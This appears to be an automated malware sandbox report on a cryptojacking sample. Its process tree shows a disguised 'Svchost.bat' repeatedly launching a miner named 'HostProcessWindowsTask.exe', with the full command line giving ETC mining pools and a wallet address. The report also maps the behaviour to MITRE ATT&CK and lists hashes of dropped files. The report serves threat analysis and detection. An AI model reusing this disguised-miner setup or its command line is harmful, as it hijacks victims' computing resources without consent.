      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10004
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:10068
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5612
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1596
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9796
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10076
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:9268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6268
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9820
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6500
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9468
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9976
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9844
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10116
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7288
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10168
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8440
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9880
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8336
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7356
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10044
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9864
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10044
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1504
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:8432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7500
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5792
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10252
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10344
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10424
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10504
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10636
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10708
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10804
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:10852
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10972
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:11016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:11056
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:11136
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:11172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:11232
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10264
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10496
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10592
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10636
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10748
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:7504
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10936
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:11220
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2876
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6872
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8040
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8316
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10940
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1848
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:11224
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:11028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9592
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5800
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:8748
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10816
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:11004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8588
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10080
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10836
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6668
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5264
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9680

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:6120

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:7088

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

1.98a.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI23522\1.98a.zip
Size 12.2MB
SHA256 99a47bf0da3fda7f3cb6daa2a918010c060213cf2d5a735c351a5a2f92345f16
MD5 0bc0cdc91d0cdcb3cfac925d07baefe4
SHA1 6c152f7747bd004e3834a5f631dc30588f103d5e
SHA512 23655cff35869293062faac5f0ce56a23230902280db6c5f25146bd296593effc823a7e002cdfbcbdb632c19c1ce9e9dd0e52756021fba87adb6d3ece56e079d
SSDEEP 196608:QGYYVZe7Yry1yLPEmcZmzXViybHHYK1KfoyWijgAlKYR2/GUGiJcl8E/K/:557Nry1yLPdxbH4KsPJjgAlRliC8/
TLSH
T189D633B4FBBA7EC67230D2CE009A1EC0EC1331E5B5DDB358798D8A79DB054796A2411E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI23522\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23522\_bz2.pyd
Size 84KB
SHA256 b3dd7cea6d03342252834cebcc814af37d850b86d0627fa22b7f6990882f2f8b
MD5 77294e590d14a22d98862c141e7ea4ae
SHA1 88a64817b0699025fcb1dda533355a0b30bd92bf
SHA512 3dac79115a510fd09d384829ff1b45864c2bd20db34459c5ac84ccb65f2befe5d59e13cc232fa23c77232421886a8eefa8d6b5986199e32d2953fee92dad0abd
SSDEEP 1536:HdsvXm8z7+Cnqncm4WlTtdKSzBdIM8vOBs8iMdIsLVuyEJ7Q9bfIgHX:9svXm8zaYqRptX7IvvOC8hdIsLVyY
TLSH
T1B6837D86F36542B6F99BD1F886800793FB30BB950750A3AFF148C2992F13B916E5C219
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23522\_ctypes.pyd
Size 130KB
SHA256 dfa65498c77e71f038883337d2b5ffd92508489e79e6ee5e96ddec4ecf2a7fa1
MD5 0ac143334e94105facaddc5fb20fc691
SHA1 28cf13be0a0eb84f48c919e68f78852aa4856853
SHA512 00b1a76760b33f054a785be9e4818879121cf5cb60b716d19f2c22c8c58075eea32e626a0962385b18babfaf5d5e33244c09c2e481f99a93577cfeb1647a22e7
SSDEEP 3072:au1mymWLaxMd/w1KVMSf/Fa4IP0JrsFXI/1cswRIsyPyW4IiFx:ac4WLEMWmRf/FaFP2rsFy0zx
TLSH
T161D37D0B775800AAEAA79178C173AF47EBB1B453171187CF02A4C69A2F637D25E3E315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23522\_decimal.pyd
Size 276KB
SHA256 f55d81378a3261a7073fb71aee674152265b6f24ba6f375f9b939d5a117d8e6b
MD5 702e1bf0ffab5193217f6a028ef60bee
SHA1 ff3a307db903d6289cfa209eedf898661aeff5b0
SHA512 cb300dc0b5b39e29483bae9990ff3aebf7d798d923bec212bb1a1a3f15e6941a9166d78f62cbd24b256de16c114e933ffbaf19041870e9e58cf4a1df2dbb48b2
